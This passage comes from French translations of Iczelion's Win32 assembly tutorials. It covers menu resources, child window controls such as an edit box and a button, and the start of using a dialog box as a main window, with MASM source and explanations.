CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF ax==IDM_TEST
invoke MessageBox,NULL,ADDR Test_string,OFFSET AppName,MB_OK
.ELSEIF ax==IDM_HELLO
invoke MessageBox, NULL,ADDR Hello_string, OFFSET AppName,MB_OK
.ELSEIF ax==IDM_GOODBYE
invoke MessageBox,NULL,ADDR Goodbye_string, OFFSET AppName, MB_OK
.ELSE
invoke DestroyWindow,hWnd
.ENDIF
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start
**************************************************************************************************************************

Menu.rc
**************************************************************************************************************************

#define IDM_TEST 1
#define IDM_HELLO 2
#define IDM_GOODBYE 3
#define IDM_EXIT 4

FirstMenu MENU
{
POPUP "&PopUp"
{
MENUITEM "&Say Hello",IDM_HELLO
MENUITEM "Say &GoodBye", IDM_GOODBYE
MENUITEM SEPARATOR
MENUITEM "E&xit",IDM_EXIT
}
MENUITEM "&Test", IDM_TEST
}

Analyse:

On va analyser le fichier de ressources d'abord.
#define IDM_TEST 1 /* cette ligne revient au même que : IDM_TEST equ 1*/
#define IDM_HELLO 2
#define IDM_GOODBYE 3
#define IDM_EXIT 4
Les susdites lignes définissent les n°ID des éléments constituants le menu. Vous pouvez assigner n'importe quelle valeur à l'ID tant que cette valeur est unique dans le menu.

FirstMenu MENU

Déclarez votre menu avec le mot clef 'MENU'

POPUP "&PopUp"
{
MENUITEM "&Say Hello",IDM_HELLO
MENUITEM "Say &GoodBye", IDM_GOODBYE
MENUITEM SEPARATOR
MENUITEM "E&xit",IDM_EXIT
}

Définit un menu popup avec quatre items de menu, le troisième est un séparateur de menu.

MENUITEM "&Test", IDM_TEST

Définit une barre de menu dans le menu principal.
Ensuite nous examinons la source du code.

MenuName db "FirstMenu",0 ; C'est le nom de notre menu dans le fichier de ressources.
Test_string db "You selected Test menu item",0
Hello_string db "Hello, my friend",0
Goodbye_string db "See you again, bye",0
MenuName est le nom du menu dans le fichier de ressources. Remarquez que vous pouvez définir plus qu'un menu dans le fichier de ressource. Donc vous devez spécifier quel menu vous voulez employer. Ces trois lignes définissent les chaînes de caractères à afficher dans les boîtes de message (Message Box) qui sont invoquées plus loin quand l'item approprié du menu est choisi par l'utilisateur.
IDM_TEST equ 1 ; (Menu IDs) Les n° d'identités des éléments constituants le Menu.
IDM_HELLO equ 2
IDM_GOODBYE equ 3
IDM_EXIT equ 4
Définit les 'menu IDs' pour pouvoir les utiliser dans la procédure de fenêtre. Ces valeurs DOIVENT ÊTRE identiques à celles définies dans le fichier de ressources.

.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF ax==IDM_TEST
invoke MessageBox,NULL,ADDR Test_string,OFFSET AppName,MB_OK
.ELSEIF ax==IDM_HELLO
invoke MessageBox, NULL,ADDR Hello_string, OFFSET AppName,MB_OK
.ELSEIF ax==IDM_GOODBYE
invoke MessageBox,NULL,ADDR Goodbye_string, OFFSET AppName, MB_OK
.ELSE
invoke DestroyWindow,hWnd
.ENDIF

Dans la procédure de fenêtre, nous traitons les messages WM_COMMAND. Quand l'utilisateur choisit un item du menu, le menu ID de cet item est envoyé à la procédure de fenêtre dans le mot (un WORD) de poids faible de wParam grâce au message WM_COMMAND. Ainsi quand nous stockons la valeur de wParam dans eax, on compare sa valeur avec eax au niveau des 'menu IDs' que nous avons définis précédemment et le programme agit en conséquence. Dans les trois premiers cas, quand l'utilisateur sélectionne les items Test, Say Hello, and Say GoodBye du menu, uniquement une seule chaîne de caractères s'affiche dans une MessageBox.
Si l'utilisateur choisit l'item 'Exit' dans le menu, nous appelons DestroyWindow avec l'handle de notre fenêtre comme paramètre pour qu'il puisse la fermer.
Comme vous pouvez le voir, le fait de spécifier le nom du menu dans une classe de fenêtre est très facile. Cependant vous pouvez aussi employer une méthode supplémentaire pour charger un menu dans votre fenêtre. Je ne vous montrerai pas le code source entier ici. Le fichier de ressources est le même pour les deux méthodes. Il y a seulement quelques changements mineurs du fichier source que je vais vous montrer ci-dessous.

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hMenu HMENU ? ; handle of our menu
Définit une variable de type HMENU (c'est un DWORD) pour stocker notre menu handle.

invoke LoadMenu, hInst, OFFSET MenuName
mov hMenu,eax
INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,hMenu,\
hInst,NULL

Avant l'appel de la fonction CreateWindowEx, nous appelons LoadMenu avec l'Instance Handle du programme et un pointeur sur le nom de notre menu. LoadMenu renvoie l'handle de notre menu définit dans le fichier de ressources, puis nous le passons à CreateWindowEx.

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 9: Child Window Controls

Tutorial 9: Child Window Controls

Dans ce tutorial, nous allons voir les 'Child Window Controls' qui sont, pour nos programmes, des mécanismes d'entrée-sortie très importants.

Downloadez le fichier en example ici.

Theorie:

Windows fournit plusieurs "Windows Class" (classes de fenêtre) prédéterminées que nous pouvons aisément employer dans nos propres programmes. La plupart du temps nous les employons, comme par exemple les composants d'une DialogBox (boîte de dialogue). Donc on les appelle généralement les 'Child Window Controls'. Les 'Child Window Controls' traitent leurs propres messages souris et clavier et en informent leur fenêtre parente quand leurs états ont étés changés. Ils soulagent les programmeurs d'un fardeau énorme, donc vous devez essayer de les employer autant que possible. Dans ce tutorial, je les ai mis sur une fenêtre normale juste pour voir comment vous pouvez les créer et les employer mais en réalité vous devez les mettre dans une DialogBox.
Les exemples de classes de fenêtre prédéterminées sont le bouton, la liste, la boîte à cocher, le bouton radio, d'édition etc.
Pour utiliser un 'Child Window Control', vous devez d'abord le créer avec 'CreateWindow' ou 'CreateWindowEx'. Notez que vous ne devez pas enregistrer la classe de fenêtre puisque Windows l'enregistrera pour vous. Le paramètre 'class name' DOIT ÊTRE un nom de la classe prédéterminée. Quand vous voulez créer un bouton, vous devez mettre "BUTTON" comme nom de classe dans CreateWindowEx. Les autres paramètres que vous devez remplir sont le handle de sa fenêtre parente' et le n°ID pour identifier ce Control. Le n°ID du Control doit être unique parmi les différents Controls. Le n°ID du Control est le numéro qui servira à identifier ce Control. Vous l'employez pour le différencier des autres Controls.
Après que ce Control ait été créé, des messages sont envoyés pour avertir que l'état de la fenêtre parente a changé. Normalement, vous créez les child window grâce au message WM_CREATE de la fenêtre parente. Chaque Control (exemple: les boutons, la zone de saisie de texte=Control d'édition, les barres de défilement en bas et sur le côté des fenêtres,...) est un objet qu'on dépose par dessus la fenêtre principale. Ce sont des objets enfants des la fenêtre dite parente. Il y a donc la fenêtre parente, et ses objets, ses Controls sont ses 'Fenêtres Enfants' (ou Child Window Controls). Une fenêtre enfant (ou objet enfant = child window) envoie le message WM_COMMAND à sa fenêtre parente, dont son n°ID (celui de ce Control) est dans le mot de poids faible du paramètre wParam, son code dans le mot de poids fort de wParam et son 'Window Handle' (son Handle de Fenêtre (de Control)) dans lParam. Chaque 'Child Window Control' a des codes différents, pour en savoir plus à propos de l'instruction (le code) faîtes appel à votre référence API Win32.
De façon inverse, la fenêtre parente peut également envoyer des messages à ses Controls (fenêtres Enfants), en faisant appel à la fonction SendMessage. La fonction SendMessage envoie donc le message en question en l'accompagnant en plus des valeurs de wParam et lParam vers le child windows ciblée par son 'Window Handle'. C'est une fonction extrêmement utile puisque elle peut envoyer des messages à n'importe quelle fenêtre pourvu que vous connaissiez son 'Window Handle' (Handle = le n° variable qui identifie une fenêtre ou bien un objet quelconque comme par exemple un 'champs de saisie de texte' ou bien un 'bouton').
Ainsi, après la création des child windows, la fenêtre parente doit possèder une boucle de traitement de messages pour s'occuper des messages WM_COMMAND pour être capable de recevoir les codes de notification des fenêtres enfant (child windows).

Example:

Nous allons créer une fenêtre qui contient une boîte d'édition (zone de saisie de texte) et un bouton. Quand vous cliquez sur le bouton, une (MessageBox) boîte de message apparaîtra affichant le texte que vous avez tapé dans la boîte d'édition. Il y a aussi un menu avec 4 Items (4 sous-menu) :
  1. Say Hello -- Met une chaîne de caractères dans la boîte d'édition
  2. Clear Edit Box -- Efface le contenu de la boîte d'édition
  3. Get Text -- Affiche une MessageBox avec le texte de la boîte d'édition
  4. Exit -- Ferme le programme.
.386
.model flat,stdcall
option casemap:none

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
MenuName db "FirstMenu",0
ButtonClassName db "button",0
ButtonText db "My First Button",0
EditClassName db "edit",0
TestString db "Wow! I'm in an edit box now",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hwndButton HWND ?
hwndEdit HWND ?
buffer db 512 dup(?) ; Buffer pour stocker le texte qu'on inscrit dans la boîte d'édition.

.const
ButtonID equ 1 ; le n°ID du Control de type Button
EditID equ 2 ; le n°ID du Control de type 'Zone d'édition' (de saisie de texte)
IDM_HELLO equ 1
IDM_CLEAR equ 2
IDM_GETTEXT equ 3 ; n°IDs des différents Items contituants le menu
IDM_EXIT equ 4

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_BTNFACE+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName, \
ADDR AppName, WS_OVERLAPPEDWINDOW,\
CW_USEDEFAULT, CW_USEDEFAULT,\
300,200,NULL,NULL, hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_CREATE
invoke CreateWindowEx,WS_EX_CLIENTEDGE, ADDR EditClassName,NULL,\
WS_CHILD or WS_VISIBLE or WS_BORDER or ES_LEFT or\
ES_AUTOHSCROLL,\
50,35,200,25,hWnd,8,hInstance,NULL
mov hwndEdit,eax
invoke SetFocus, hwndEdit
invoke CreateWindowEx,NULL, ADDR ButtonClassName,ADDR ButtonText,\
WS_CHILD or WS_VISIBLE or BS_DEFPUSHBUTTON,\
75,70,140,25,hWnd,ButtonID,hInstance,NULL
mov hwndButton,eax
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF lParam==0
.IF ax==IDM_HELLO
invoke SetWindowText,hwndEdit,ADDR TestString
.ELSEIF ax==IDM_CLEAR
invoke SetWindowText,hwndEdit,NULL
.ELSEIF ax==IDM_GETTEXT
invoke GetWindowText,hwndEdit,ADDR buffer,512
invoke MessageBox,NULL,ADDR buffer,ADDR AppName,MB_OK
.ELSE
invoke DestroyWindow,hWnd
.ENDIF
.ELSE
.IF ax==ButtonID
shr eax,16
.IF ax==BN_CLICKED
invoke SendMessage,hWnd,WM_COMMAND,IDM_GETTEXT,0
.ENDIF
.ENDIF
.ENDIF
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

Analyse:

On va analyser le programme.
    .ELSEIF uMsg==WM_CREATE
    invoke CreateWindowEx,WS_EX_CLIENTEDGE, \
    ADDR EditClassName,NULL,\
    WS_CHILD or WS_VISIBLE or WS_BORDER or ES_LEFT\
    or ES_AUTOHSCROLL,\
    50,35,200,25,hWnd,EditID,hInstance,NULL
    mov hwndEdit,eax
    invoke SetFocus, hwndEdit
    invoke CreateWindowEx,NULL, ADDR ButtonClassName,\
    ADDR ButtonText,\
    WS_CHILD or WS_VISIBLE or BS_DEFPUSHBUTTON,\
    75,70,140,25,hWnd,ButtonID,hInstance,NULL
    mov hwndButton,eax
Nous créons les différents Controls pendant le traitement du message WM_CREATE. Nous appelons CreateWindowEx avec un style de fenêtre étendu (Ex), WS_EX_CLIENTEDGE. Le nom de chaque contrôle est prédéterminé. On a "EDIT" pour le Control de type 'zone d'édition' (ou boîte de saisie de texte), "BUTTON" pour le Control de type 'bouton'. Ensuite nous spécifions le style de chaque 'Child Window' (le style de chacun des objets qui constituent notre fenêtre, de chaque Control. Comme le style du bouton par exemple). Chaque Control possède des styles supplémentaires en plus des styles normaux. Par exemple, le style pour le bouton a le préfixe BS_" pour "Button Style", le style de la zone d'édition a pour préfixe "ES _" pour "Edit Style". Notez que vous mettez un n°ID de Control à la place du Handle du menu. Ceci ne provoquera aucun problème puisque un (Child Window Control) un Control Enfant ne peut pas avoir de menu. (Ex: une fenêtre principale peut avoir un menu mais un simple bouton, sûrment pas).
Après la création de chaque Control, nous obtenons en retour son handle dans une variable pour une future utilisation.
La fonction 'SetFocus' est appelée pour que la boîte d'édition prenne la main (pour que se soit elle qui soit active), comme ça l'utilisateur pourra taper son texte tout de suite après l'appel de cette fonction.
Vient maintenant la partie vraiment passionnante. Chaque 'Child Window Control' envoie ses notifications (Messages allant d'un 'Child Control' vers sa 'Fenêtre Parente', le contraire c'est un Message simplement) à sa 'Parent Window' (sa fenêtre parente) avec WM_COMMAND.

.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF lParam==0

Rappelez-vous bien qu'un menu envoie lui aussi des messages WM_COMMAND vers la fenêtre parente pour l'informer de son propre état. Comment pouvez-vous faire la différence entre des messages WM_COMMAND, émis par un menu (Child Window) ou par un contrôle (effectué par la Parent Window) ? Voici ci-dessous la réponse :

 | Mot de poids faible de wParam | Mot de poids fort de wParam | lParam
Menu | Menu ID | 0 | 0
Control | Control ID | Notification code | Child Window Handle

Vous pouvez voir que vous devez vérifier lParam. S'il c'est NULL, le message WM_COMMAND actuel provient d'un menu. Vous ne pouvez pas employer wParam pour faire la différence entre un menu et un Control, puisque le 'menu ID' et 'control ID' peuvent être identiques puisque les deux peuvent être NULL.

.IF ax==IDM_HELLO
invoke SetWindowText,hwndEdit,ADDR TestString
.ELSEIF ax==IDM_CLEAR
invoke SetWindowText,hwndEdit,NULL
.ELSEIF ax==IDM_GETTEXT
invoke GetWindowText,hwndEdit,ADDR buffer,512
invoke MessageBox,NULL,ADDR buffer,ADDR AppName,MB_OK

Vous pouvez écrire une chaîne de caractères (du texte) dans la boîte d'édition en appelant la fonction SetWindowText. Vous pouvez aussi effacez le contenu de cette boîte d'édition en appelant SetWindowText em mettant un NULL. SetWindowText est une fonction API d'usage flexible. Vous pouvez l'employer pour modifier le titre d'une fenêtre ou pour changer le texte inscrit sur un bouton ou ailleurs...
Pour récupérer le texte présent dans une boîte d'édition, vous devez utiliser GetWindowText. (Comprenez seulement que, dans ce cas on n'écrit pas manuellement le texte dans la boîte d'édition (de saisie), mais on le fait s'inscrire dans la zone de saisie comme on aurait pu faire s'inscrire un texte dans une MessageBox).

.IF ax==ButtonID
shr eax,16
.IF ax==BN_CLICKED
invoke SendMessage,hWnd,WM_COMMAND,IDM_GETTEXT,0
.ENDIF
.ENDIF

Ce petit bout de code réagit à la seule condition que l'utilisateur presse le bouton. D'abord, il vérifie le mot de poids faible de wParam pour voir si le 'control ID' (le n°ID du Control) correspond à celui du bouton. S'il l'est, il vérifie le mot de poids fort de wParam pour savoir si on a bien l'indication BN_CLICKED, qui est envoyée quand le bouton est cliqué.
La partie qui est intéressante, c'est après qu'on soit certain que le code de notification soit BN_CLICKED. Nous voulons récupérer le texte qu'on vient d'écrire dans la boîte d'édition et l'afficher dans une boîte de message (une MessageBox). Nous pourrions faire un double du code de la section IDM_GETTEXT ci-dessus mais ça n'a pas de sens. Si d'une façon ou d'une autre nous pouvions envoyer un message WM_COMMAND avec le mot de poids faible de wParam, alors la valeur contenue dans IDM_GETTEXT serait transmise à notre propre procédure de fenêtre, nous pouvons donc éviter la duplication de ce code et simplifier notre programme. La solution, c'est la fonction SendMessage. Cette fonction envoie n'importe quel message vers n'importe quelle fenêtre avec n'importe quel wParam et lParam. Ainsi au lieu de recopier du code, nous appelons SendMessage avec :
1- l'Handle de la fenêtre parente.
2- WM_COMMAND.
3- IDM_GETTEXT.
4- 0.
Ceci a le même effet que de sélectionner le menu Item "Get Text" (un de nos sous-menu) du menu. La procédure de fenêtre ne voit aucune différence entre les deux. (La procédure de fenêtre = la procédure qui s'occupe du fonctionnement de notre fenêtre, comme la détection d'un appui sur un bouton ou bien une inscription de texte dans une zone de saisie) (c'est aussi la boucle des messages)
Vous devez essayer d'employer cette technique le plus possible pour organiser votre code au mieux.
Dernier point mais non le moindre, n'oubliez pas d'utiliser la fonction TranslateMessage à l'intérieur de la boucle de messages. Puisque vous devez taper du texte dans la boîte d'édition, votre programme doit traduire des entrées clavier brutes en un texte lisible. Si vous omettez cette fonction, vous serez incapable de taper quoique ce soit dans votre boîte d'édition.

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 10: Boîte de Dialogue comme Fenêtre Principale

Tutorial 10: DialogBox
Comme Fenêtre Principale

Vient maintenant un objet vraiment intéressante du GUI (NdT : Graphic User Interface), à savoir : la DialogBox. Dans ce Tutorial (et le suivant), nous apprendrons comment se servir d'une DialogBox en tant que fenêtre principale.

Downloadez le premier exemple ici, le second Là.

Théorie:

Si vous avez joué assez longtemps avec les exemples des Tutorials précédants, vous avez dû découvrir que la touche TAB ne permettait pas de changer de centre d'entrée (le focus) d'un 'Child Window Control' à un autre (EX : si vous avez un bouton et une zone de saisie, la touche TAB sert à activer puis à passer de l'un à l'autre. Essayez sur les exemples de ce TUT) . Dans les Tutorials précédents, le seul moyen d'obtenir le focus d'un des 'Child Wondow Control' était de simple-cliquer sur l'un d'eux. C'est une situation un peu lourde. Une nouvelle chose à remarquer, c'est que j'ai changé la couleur du fond de la fenêtre parente, elle est grise maintenant au lieu de blanche comme dans des exemples précédents. C'est fait pour que la couleur des 'child window controls' puisse se mélanger sans jurer avec la couleur du 'secteur client' de la fenêtre parente. Il y a une autre façon de contourner ce problème mais ce n'est pas facile. Vous devez sous-classer tous les 'child window controls' de votre fenêtre parente.
La raison pour laquelle un tel inconvénient existe, c'est qu'à l'origine les 'Child Window Controls' ont étés conçus pour travailler avec une DialogBox, et non pas une simple fenêtre (une WinBox). La couleur par défaut des 'Child Window Controls' tel qu'un bouton est grise parce que le 'secteur client' d'une DialogBox est normalement gris. Donc ils se marient l'un avec l'autre sans que le programmeur ne se casse encore plus la tête sur un détail comme ça.
Avant que nous n'allions plus profondément dans les détails, nous devons d'abord comprendre ce qu'est une DialogBox. Une DialogBox n'est rien de plus d'une fenêtre normale qui est conçue pour travailler avec des'child window controls'. Windows possède aussi son propre ''administrateur de DialogBox'' lequel est responsable de la majeure partie de la logique du clavier, comme par exemple le changement du Focus quand l'utilisateur presse 'TAB' (= activer un autre Child Window Control avec TAB), ou bien en 'Validant' la touche dont son Focus est actif si la touche ENTER est pressée (=quand vous avez 2 boutons dans une fenêtre, un OK l'autre NON, si c'est OK qui est sélectionné en cadre pointillé, en appuyant sur ENTER c'est comme si on avait cliqué sur OK ), etc… donc avec ça, les programmeurs peuvent traiter des tâches de plus haut niveau. Les DialogBox sont principalement employées comme des dispositifs d'Entrée / Sorties. Puisqu'une telle DialogBox peut être considérée comme une "boîte noire" d' Entrée / Sortie, vous n'avez pas besoin de connaître comment elle travaille intérieurement pour pouvoir l'employer. Vous devez seulement savoir comment elle agir. C'est le principe de la PROGRAMMATION ORIENTÉE OBJET (OOP) qui fait en sorte que l'information est dissimulée (tout n'est pas apparent dans son fonctionnement). Si la boîte noire était *parfaitement* conçue, l'utilisateur devrait pouvoir s'en servir sans aucune connaissance de son fonctionne. Le hic c'est que la boîte noire doit être parfaite, et en réalité c'est difficile à réaliser car les API Win32 sont elles-mêmes conçues comme des boîtes noires.
Bien, il semble que nous dévions de notre chemin. On va revenir au sujet. Les DialogBox sont conçues pour réduire considérablement le travail du programmeur. Normalement si vous utilisez des 'Child Window Controls' sur une fenêtre normale, vous devez les sous-classer et écrire (définir) la logique du clavier vous-même. Mais si vous les mettez sur une DialogBox, tout ceci sera déjà pris en compte pour vous faciliter la tâche. Vous devez seulement savoir comment s'utilisent vos Child Window dans la DialogBox ou comment envoyer des commandes.
Une DialogBox est définie comme une ressource (un objet qu'on défini pour pouvoir l'utiliser parmi d'autres) un peu de la même façon qu'un menu. Vous décrivez les caractéristiques de votre DialogBox et de ses commandes, puis ensuite vous compilez le fichier de ressources avec un éditeur de ressources.
Remarquez que toutes les ressources sont réunies dans le même fichier de ressources. Vous pouvez employer n'importe quel éditeur de texte pour écrire un calibre de la DialogBox (=son Template=son schémat de construction) mais je ne vous le recommande pas. Il vaut mieux employer un éditeur de ressources pour faire le travail visuellement puisque l'arrangement des 'child window controls' sur une DialogBox est difficile à faire à la main. Plusieurs éditeurs de ressources excellents sont disponibles. La plupart des Packs de compilateurs incluent aussi leurs propres éditeurs de ressources. Vous pouvez les employer pour créer un plan de ressources pour votre programme et supprimer ensuite les lignes sans rapport comme celles liés à MFC.
Il y a deux principaux types de DialogBox : 'modale' et 'sans modèle'. Une DialogBox sans modèle vous laisse changer son Focus pour une autre fenêtre. Le meilleur exemple c'est la DialogBox 'RECHERCHER' de WORD. Il y a deux sous-types de DialogBox modale : l'application modale et le système modal. Une DialogBox d'application modale ne vous laisse pas changer son Focus pour aller vers une autre fenêtre dans la même application. Par contre vous pouvez changer le Focus de la fenêtre pour aller vers d'AUTRES applications. Le système de la DialogBox modale ne vous permet pas de changer son Focus pour une autre fenêtre avant que vous ne répondiez d'abord.
On créé une 'DialogBox sans modèle' en appelant la fonction API CreateDialogParam. On créé une DialogBox modale en appelant DialogBoxParam. La seule différence entre une DialogBox d'application modale et un système modal est le style DS_SYSMODAL. Si vous incluez le style DS_SYSMODAL dans un calibre de DialogBox, cette DialogBox sera un système modale.
Vous pouvez communiquer avec n'importe quel 'child window control' dans une DialogBox en employant la fonction SendDlgItemMessage. Sa syntaxe est la suivante :
SendDlgItemMessage proto hwndDlg:DWORD,\
idControl:DWORD,\
uMsg:DWORD,\
wParam:DWORD,\
lParam:DWORD
Cet appel d'API est super utile pour l'action réciproque avec les 'child window control'. Par exemple, si vous voulez récupérer le texte d'un contrôle d'édition, vous pouvez faire ceci :
invoke SendDlgItemMessage, hDlg, ID_EDITBOX, WM_GETTEXT, 256, ADDR text_buffer
Pour savoir quel message (quelle commande) vous devez utiliser, vous devez consulter votre référence Win32 API.
Windows fournit aussi plusieurs fonctions API de contrôle-spécifiques pour récupérer et transmettre des données rapidement, par exemple, GetDlgItemText, CheckDlgButton etc. Ces fonctions de contrôle-spécifiques sont mis à la disposition du programmeur. Donc il ne doit pas rechercher les significations de wParam et lParam pour chaque message. Normalement, vous devez utiliser les appels d'API de contrôle-spécifiques quand ils sont disponibles puisque ils servent à vous faciliter l'écriture de votre code source. On recours seulement à SendDlgItemMessage si aucun des appels d'API de contrôle-spécifiques n'est disponible.
L'administrateur de DialogBox de Windows envoie quelques messages à une fonction CallBack (rappel de service) spécialisée, laquelle est appelée 'procédure de Boîte de Dialogue' et qui a le format suivant :
DlgProc proto hDlg:DWORD ,\
iMsg:DWORD ,\
wParam:DWORD ,\
lParam:DWORD
La 'procédure de Boîte de Dialogue' est très semblable à une 'procédure de fenêtre' à part le type de valeur de retour qui est TRUE / FALSE au lieu de LRESULT. L'administrateur de DialogBox interne à Windows EST la vraie procédure de fenêtre pour la DialogBox. Il appelle notre procédure de Boîte de Dialogue avec les messages qu'il a reçu. Donc la règle générale en vigueur consiste en ce que : si notre procédure de Boîte de Dialogue traite un message, il DOIT retourner la valeur TRUE (VRAIE) dans eax et s'il ne traite pas le message, il doit retourner FALSE (FAUX) dans eax. Remarquez qu'une procédure de Boîte de Dialogue ne transmet pas les messages et elle ne traite pas l'appel de DefWindowProc puisque ce n'est pas une procédure de fenêtre réelle (normale).
Il y a deux utilisations distinctes d'une DialogBox. Vous pouvez l'employer en tant que fenêtre principale de votre application ou l'employer comme un dispositif d'entrée. Nous allons examiner la première approche dans ce tutorial.
""L'utilisation d'une DialogBox comme fenêtre principale" peut être interprétée dans deux sens différents.
  1. Vous pouvez calibrer une DialogBox comme un calibre de classe (class template) que vous déclarez avec l'API RegisterClassEx. Dans ce cas, la DialogBox se comporte comme une fenêtre "normale" : elle reçoit des messages via une procédure de fenêtre mentionnée par le membre lpfnWndProc de la classe de fenêtre (windows class), et non pas par une procédure de Boîte de Dialogue. L'avantage de cette approche est que vous n'avez pas à créer vous-même de 'child window controls'. Windows les crée pour vous lorsque la DialogBox est créée. Ainsi Windows gère la logique du clavier pour vous. De plus vous pouvez choisir le curseur et l'icône de votre fenêtre dans la structure de classe de fenêtre.

    2. Votre programme crée seulement une DialogBox sans créer aucune fenêtre parente. Cette approche fait que la boucle des messages devient inutile puisque les messages sont envoyés directement à la procédure de DialogBox. Vous n'avez même pas besoin d'enregistrer une classe de fenêtre!
Ce Tutorial va être long. Je présenterai la première approche suivie par le deuxième.

Exemples:

dialog.asm

.386
.model flat,stdcall
option casemap:none
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data
ClassName db "DLGCLASS",0
MenuName db "MyMenu",0
DlgName db "MyDialog",0
AppName db "Our First Dialog Box",0
TestString db "Wow! Je suis dans une boîte d'édition maintenant",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
buffer db 512 dup(?)

.const
IDC_EDIT equ 3000
IDC_BUTTON equ 3001
IDC_EXIT equ 3002
IDM_GETTEXT equ 32000
IDM_CLEAR equ 32001
IDM_EXIT equ 32002

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hDlg:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,DLGWINDOWEXTRA
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_BTNFACE+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateDialogParam,hInstance,ADDR DlgName,NULL,NULL,NULL
mov hDlg,eax
invoke ShowWindow, hDlg,SW_SHOWNORMAL
invoke UpdateWindow, hDlg
invoke GetDlgItem,hDlg,IDC_EDIT
invoke SetFocus,eax
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke IsDialogMessage, hDlg, ADDR msg
.IF eax ==FALSE
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDIF
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF lParam==0
.IF ax==IDM_GETTEXT
invoke GetDlgItemText,hWnd,IDC_EDIT,ADDR buffer,512
invoke MessageBox,NULL,ADDR buffer,ADDR AppName,MB_OK
.ELSEIF ax==IDM_CLEAR
invoke SetDlgItemText,hWnd,IDC_EDIT,NULL
.ELSE
invoke DestroyWindow,hWnd
.ENDIF
.ELSE
mov edx,wParam
shr edx,16
.IF dx==BN_CLICKED
.IF ax==IDC_BUTTON
invoke SetDlgItemText,hWnd,IDC_EDIT,ADDR TestString
